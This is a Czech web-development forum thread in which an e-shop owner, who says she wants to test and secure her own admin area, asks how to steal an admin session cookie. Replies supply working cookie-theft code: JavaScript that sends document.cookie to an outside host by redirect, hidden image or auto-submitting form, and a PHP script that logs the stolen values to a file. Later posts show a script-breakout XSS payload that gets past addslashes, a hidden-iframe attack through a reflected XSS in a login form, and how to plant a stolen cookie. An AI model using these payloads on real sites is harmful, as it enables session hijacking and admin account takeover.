« 1 2 »
Autor Zpráva
stepanka
Profil *
Ahoj,

mám eshop s administrační částí. Administrační část identifikuje přihlášeného admina pomocí cookies. Jiný způsob ošetření nemám (žádná IP adresa, autorizační klíče, ...), takže by to mělo být zranitelné a tato cookies by měla být relativně snadno odcizitelná. Ale ať dělám co dělám, nemůžu ji ukrást.

Mám tady dva kompy, jeden pro útočníka, jeden pro oběť. Jako oběť se přihlásím do administrace. A jako útočník se na druhém počítači snažím tuto akitvní relaci od oběti ukrást.

Jako útočník jsem si připravila dva skripty:

ukazka.html
<script>document.location.replace('http://obi.ic.cz/steal-cookie.php?cookie='+document.cookie);</script>


steal-cookie.php
<?php
if (isset($_GET['cookie'])) 
	{
	$soubor = fopen("./kod.txt", "w");
	fwrite($soubor, $_GET['cookie']);
	fclose($soubor);
	}	
?>


oba na serveru obi.ic.cz

E-shop obsahuje diskusi, která se zobrazuje administrátorům v administrační části, aby mohli uživatelům odpovídat. Vložím do diskuze příspěvek, kde uvedu odkaz obi.ic.cz/ukazka.html.

Jako oběť se přihlásím do administrace a vidím diskuzi s novým příspěvkem. V příspěvku vidím adresu obi.ic.cz/ukazka.html. Odkazy ovšem nemám klikatelné, tudíž se zobrazí jako obyčejný text. Jako administrátor tedy odkaz zkopíruju, otevřu nový panel a vložím do adresního řádku. Cookies se takhle ale útočníkovi neodešle. Pokud neotvírám nový panel, a vložím zkopírovanou adresu přímo do aktivního okna s administrací, cookies se také neodešle.

Chápu, že kdyby byl odkaz klikatelný, cookie by se nejspíš odeslala (netestováno), ale při kopírování adresy a jejím následném vkládání "někam", to dělá problém.

A proto se chci zeptat - můžu jako útočník nějak získat aktivní cookies od admina a přihlásit se do administrace? Můžu v tom JS kódu nějak určit, ze které stránky bych tu cookie chtěla poslat?

Doufám, že mi rozumíte. Předem mockrát děkuju.
mckay
Profil
stepanka:
Pokud tomu správně rozumím, identifikuje se pomocí hodnoty v cookie administrátor. Ta hodnota je číslo, nebo nějaký hash? Logicky bych se prostě přihlásil do administrace a přepsal si cookie na požadovanou hodnotu (ale nevím, jestli je to tak, jak to chcete). Tam by neměl být problém.

Na jednom webu jsem četl, že se dá takto zneužít třeba obrázek, s javascriptovou adresou. Jestli je na shopu povolen obrázek, můžete mu zkusit zadat jako adresu
javascript: document.location.replace('http://obi.ic.cz/steal-cookie.php?cookie='+document.cookie);
Když už jsme u toho, pojmenoval bych ten skript trochu jinak :-), tohle je nápadné.
vynalezce
Profil
Použij raději toto:

<img id="obrazek" style="display:none">
<script>
obrazek.src='http://obi.ic.cz/steal-cookie.php?cookie='+document.cookie;
</script>


a u PHP je lepší použít

<?php
if (isset($_GET['cookie'])) 
    {
    $soubor = fopen("./kod.txt", "a");
    fwrite($soubor, $_GET['cookie']);
    fwrite($soubor,"\n");
    fclose($soubor);
    }    
?>


a otevře soubor pro pro připsání na konec
w ho otevře pro přepsání obsahu

vlastní cookie změníte tak, že toto napíšete do adresy

javascript: document.cookie='ukradené cookies'


potom stačí jít na adresu, kde už je admin přihlášen (ne login, ale například editor aktualit)
stepanka
Profil *
mckay, vynalezce:

Moc vám oběma děkuju za reakci.

Ten kód, jak ho napsal vynálezce, funguje dobře.. jen nerozumím tomu, proč mi to uloží jen některé cookies, a ne všechny. Vždycky mi to uloží toto:

__utma=37269118.1256620099.1262164523.1262164523.1262176447.2;
__utmz=37269118.1262164523.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none);
__utma=164108583.1776540076.1262164615.1262164615.1262178957.2; 
__utmz=164108583.1262164615.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none);
__utmc=37269118; 
__utmc=164108583


přitom když si jako přihlášený administrátor zobrazím aktivní cookies třeba přes firebug a doplněk firecookie, mám tam ještě:

PHPSESSID=4ecf4de7d547ceb3722634dd49f9084f
ESHOP_JAZYK=cz
PHPSESSID=934b9c37699eb59ae05367bf8283a6d6


... a zrovna ty bych jako útočník potřebovala..
stepanka
Profil *
mckay:

Jinak co se týká identifikace uživatele, tak při vstupu kontroluju jméno a heslo v databázi. Pokud jméno a heslo sedí, přiřadím do proměnné $_SESSION['login']['name'] jméno administrátora, které uchovávám až do doby, než klikne na "odhlásit". Cookies, neboli hash (např.: 4ecf4de7d547ceb3722634dd49f9084f), který mi přiřadí prohlížeč, ve skriptu nikde nepoužívám.
vynalezce
Profil
Pravděpodobně se část uloží jen proto, že mezi tím co se uloží a zbytkem je nějaký "oddělovací" znak například: "&"," ", atp.

Proto místo obrázku použijte toto:

<form id="formular" method="post" action="http://obi.ic.cz/steal-cookie.php">
<input type="hidden" id="cookie">
</form>
<script>
formular.cookie.value=document.cookies
formular.submit()
</script>


To by mělo problém vyřešit.

PS. cookies zde přijdou přes POST ne přes GET
tiso
Profil
stepanka: to je síce pekné, ale pokiaľ niekto tú cookie získa, tak sa stane majiteľom tej session. To je podstata tohto útoku.
stepanka
Profil *
vynalezce:

Nevíte, kde by v tom formuláři ještě mohla být chyba? Tak, jak jste ho napsal výše, nic neodesílá. Změnila jsem ho na:

<form id="formular" method="post" action="http://obi.ic.cz/steal-cookie.php">
<input type="hidden" name="cookie">     // input neměl name, $_POST['cookie'] by pak nefungovalo
</form>
<script>
formular.cookie.value=document.cookie;     // cookie místo cookies
formular.submit();     
</script>


Hodnoty změnila z GET na POST, ale nic neodešle. Už jsem ten formulář i celý nacpala do javascriptu a inputu přímo přiřadila value, ale taky nic..
stepanka
Profil *
tiso:

Děkuju za reakci. Podstatě tohoto útoku rozumím. E-shop zatím z tohoto hlediska nijak zabezpečený není. A já ho chci zabezpečit. Než s tím ale začnu, chtěla jsem vědět, jakým způsobem to jde zneužít. Nebo jsi tím příspěvkem chěl říct něco jiného? Například, že bys přihlášeného uživatele identifikoval jiným způsobem? Pokud ano, budu ráda za každou radu.
vynalezce
Profil
stepanka:
input neměl name, $_POST['cookie'] by pak nefungovalo

A jo. Na to jsem zapomněl. Ten input musí mít i name i id takže:

<input type="hidden" name="cookie" id="cookie">
Majkl578
Profil
stepanka:
Podstatě tohoto útoku rozumím. E-shop zatím z tohoto hlediska nijak zabezpečený není.

Podstata útoku je jednoduchá: útočník ukradne identifikátor session a použije ho jako vlastní. Pokud to není na serverové straně ošetřené, může získat stejný přístup jako oběť.
Nejčastější ochrana je kontrola IP a třeba i hlavičky prohlížeče. Pokud se neshodují s údajem uloženým při vytvoření session, může jít o krádež session (ale nemusí, např. kvůli dynamické IP adrese, přesunu z access pointu restaurace k access pointu v práci apod.).
stepanka
Profil *
vynalezce:

Asi už mi od rána nemyslí..

ukazka.html
<form id="formular" method="post" action="http://obi.ic.cz/steal-cookie.php">
<input type="hidden" name="cookie" id="cookie">
</form>
<script>
formular.cookie.value=document.cookie;
formular.submit();
</script>


steal-cookie.php
<?php
if (isset($_POST['cookie'])) 
    {
    $soubor = fopen("./kod.txt", "a");
    fwrite($soubor, $_POST['cookie']);
    fwrite($soubor,"\n");
    fclose($soubor);
    }    
?>

... ale tohle mi do souboru kod.txt nic neukládá..
stepanka
Profil *
Majkl578:

Já vím, že podstata tohoto útoku je jednoduchá.. proto taky říkám, že jí rozumím.

Kontrolovat IP adresu ani prohlížeč nechci. Kontrola IP adresy je nepohodlná pro uživatele a prohlížeč můžu mít stejný jako oběť.. Budu to nejspíš ošetřovat pomocí autorizačního klíče, který vygeneruju z počtu milisekund aktuálního času a zakóduju přes md5. Uložím do databáze a do session a při každé návštěvě stránky budu kontrolovat, jestli tyto dva záznamy sedí, jestli jsou stejné. Pokud ano, přepíšu oba opět na aktuální čas, zakóduju, atd.. Pokud nesedí, uživatele odhlásím ze systému.

Ale to je jen první, co mě napadlo, musím nad tím ještě pořádně popřemýšlet.
Majkl578
Profil
stepanka:
Budu to nejspíš ošetřovat pomocí autorizačního klíče, který vygeneruju z počtu milisekund aktuálního času a zakóduju přes md5. Uložím do databáze a do session a při každé návštěvě stránky budu kontrolovat, jestli tyto dva záznamy sedí, jestli jsou stejné. Pokud ano, přepíšu oba opět na aktuální čas, zakóduju, atd.. Pokud nesedí, uživatele odhlásím ze systému.

Tohle nic neřeší, pokud útočník i oběť mají stejné session id, tak budou mít stejné údaje. Data dané session se ukládají na serveru.
vynalezce
Profil
zkus změnit formular.cookie.value na
stcookie.value

Ps.změň i id inputu
hlásí totiž formular isn't defined
otazka je co se submit()
stepanka
Profil *
vynalezce:

Nakonec mi to začalo fungovat až tímto způsobem:

<form name="formular" method="post" action="http://obi.ic.cz/steal-cookie.php">
<input type="text" name="stcookie" style="display:none">
</form>
<script>
document.formular.stcookie.value = document.cookie;
document.formular.submit();
</script>


Ale pořád mi to ukládá jen ty cookies uvedené výše (_utma, __utmb, ...), tzn. bez PHPSESSID :-(
vynalezce
Profil
zkus alert(document.cookie)
je tam videt session?
stepanka
Profil *
vynalezce:

alert(document.cookie) obsahuje pořád jen ty __utma, __utmb, atd.

Jedině když přímo ve skriptu e-shopu vypíšu natvrdo session_id(); tak mi to vypíše na stránku ten správný řetězec. Snažím se teď nacpat do toho Javascriptu PHP kód, který mi tam zobrazí právě tuto hodnotu, ale moc to ten Javascript nechce brát..
stepanka
Profil *
Majkl578:

Aha, asi máš pravdu. Když nad tím přemýšlím, nějaký zádrhel tam asi opravdu bude. Zkusím popřemýšlet nad nějakou alternativou, protože kontrola IP a prohlížeče mi přijde taková divná.
vynalezce
Profil
máš ten js na webu s eshopem?
stepanka
Profil *
vynalezce:

Ne přímo, mám tam odkaz na obi.ic.cz/ukazka.html, a na ten klikám. Obsah toho souboru ukazka.html je o 5 příspěvků výš.

Děkuju, že mi pomáháš. Nejde mi do hlavy, proč ten prohlížeč vyplivne jen tyto cookies, a proč ne všechny..
stepanka
Profil *
Aha, tak jsem přišla na to, že ty cookies, které mi to vypíše, jsou aktivní pouze pro doménu obi.ic.cz (nebo pro tu stránku na něm: obi.ic.cz/ukazka.html).

Žádnou z těch cookies, které jsou aktivní pro stránku s e-shopem, ve kterém jsem jako administrátor přihlášená, mi to nevypíše.

Pokud dám přímo do skriptu e-shopu:

?>
<script>alert(document.cookie);</script>
<?php

vypíše mi to všechny cookies, které jako útočník potřebuju. Čili cookies aktivní pro stránku s e-shopem.
Když ale klikám v administraci na nějaký odkaz, už mi to vypíše cookies aktivní pro stránku, na kterou jsem klikla (což je mi jako útočníkovi k ničemu)

To je zvláštní, už jsem z toho trochu jelen.
Jak se potom dá tento útok provést, když přes odkaz to nejde?
avaster
Profil
chcel by som sa spitat, ci na takyto typ utoku je postacujuce mat nastavene session.cookie_httponly ?
AM_
Profil
Docela se divím, že to sem nenapsal ještě někdo jiný, vždyť tohle nemůže fungovat! potěš pánbůh kdyby ano, to už bysme měli asi všichni všechny elektronické služby vykradené.
<script>
document.formular.stcookie.value = document.cookie;
document.formular.submit();
</script>

pokud si tohle nebo cokoliv jiného pustíte na svém webu, jasně, že to vypíše cookies z vašeho webu, a žádné jiné! váš prohlížeč věštit neumí, tak nemůže vědět, že jste chtěli cookies jiného v něm otevřeného webu. Ostatně ikdyby jste mu to řekli, tak vám to nedovolí - přesně z těchto důvodů, nikomu nic není do cookie cizího webu.

Útoky s kradením cookies spočívají v tom, že na napadenou stránku nějak propašujete kus svého JavaScript kódu (nejčastěji přes nějaký špatně ošetřený vstup):
<script>ajax_send('webutocnika.cz/accept_cookie.php', document.cookie);</script>
//funkci ajax_send tu rozepisovat nebudu, jen demonstruji, jak na to.
Častá chyba bývá v tom, že vstupy echované v JavaScriptu nejsou ošetřené proti ukončení skriptu (</script>) např. takto:

<script type="text/javascript">
alert('<?php echo addslashes($user_message); ?>');
</script>
tento kód je zranitelný, ikdyž se v něm nachází addslashes - proč? zkuste si jako user_message doplnit "</script><script>ajax_send(...) ; alert('a".
<script type="text/javascript">
alert('</script>
<script>ajax_send(...); alert('a');
</script>
jelikož HTML parser určuje, kde začíná a končí javascript, zatučněnou část předá javascriptu, ta neudělá nic, protože je v ní syntaktická chyba; druhý JavaScript se vykoná, jak má.
stepanka
Profil *
AM:

moc děkuju za příspěvek.
stepanka
Profil *
Když je v administraci webu jediné místo zranitelné na XSS, a to přihlašovací formulář do administrace, můžu ho nějak využít k útoku?

Když do pole "jméno" zadám "<script>alert('XSS')</script>, vyskočí mi vyskakovací okno s nápisem XSS. Vím, že vložit nějaký JavaScript natrvalo (který by mi odeslal cookie přihlášeného administrátora) tam nemůžu.. Mohlo by to jít nějak zneužít i přes tuto "dočasnou" XSS chybu?
vynalezce
Profil
stepanka:
Když je v administraci webu jediné místo zranitelné na XSS, a to přihlašovací formulář do administrace, můžu ho nějak využít k útoku?
>
Když do pole "jméno" zadám "<script>alert('XSS')</script>, vyskočí mi vyskakovací okno s nápisem XSS. Vím, že vložit nějaký JavaScript natrvalo (který by mi odeslal cookie přihlášeného administrátora) tam nemůžu.. Mohlo by to jít nějak zneužít i přes tuto "dočasnou" XSS chybu?


Ano, pomocí frame vložíš do svého webu další část, ve které bude formulář (odesílaný na adresu loginu)(v tom formuláři bude něco, co využije zranitelnosti) a JS, který formulář odešle
stepanka
Profil *
vynalezce:
Ale to bych si musela jako útočník vytvořit vzhledově stejné stránky na jiném serveru, a jen tam doplnit do formuláře JavaScript, ne?

Spíš přemýšlím o zranitelnosti na serveru s e-shopem, protož bránit se proti tomu, aby mi někdo nezkopíroval zdrojový HTML a nevytvořil si stejnou stránku na jiné adrese, moc nedá..
vynalezce
Profil
stepanka:
Ale to bych si musela jako útočník vytvořit vzhledově stejné stránky na jiném serveru, a jen tam doplnit do formuláře JavaScript, ne?

Ne, to by mohla udělat libovolná webová stránka.

Tam jde o to, že by jen na ní byl zkrytý <iframe>. Ten by vedl na adresu, kde by byl:

1)<form action="loginNaTomWebu.php" method="post">
2)v něm nějaké inputy - jeden z nich má v sobě script, který toho xss zneužije
3)JS, který po načtení odešle form
stepanka
Profil *
vynalezce:
Moc Ti děkuju za snahu mi poradit, ale ještě mi trochu uniká, jak by se ten administrátor přihlásil. Můžu vytvořit stejné přihlašovací okno na jiném serveru, ale musím doufat, že si ten administrátor nevšimne jiné URL v adresním řádku. Tomu rozumím. Ale jak můžu vložit iframe přímo do stránky loginu v e-shopu, to mi hlava nebere. Nemám ho tam jak dostat. Aby takový XSS útok mohl fungovat, administrátor by musel (podle mě) vyplnit údaje na jiné (klidně vzhledově stejné) stránce..
« 1 2 »

Vaše odpověď

Mohlo by se hodit


Prosím používejte diakritiku a interpunkci.

Ochrana proti spamu. Napište prosím číslo dvě-sta čtyřicet-sedm:

0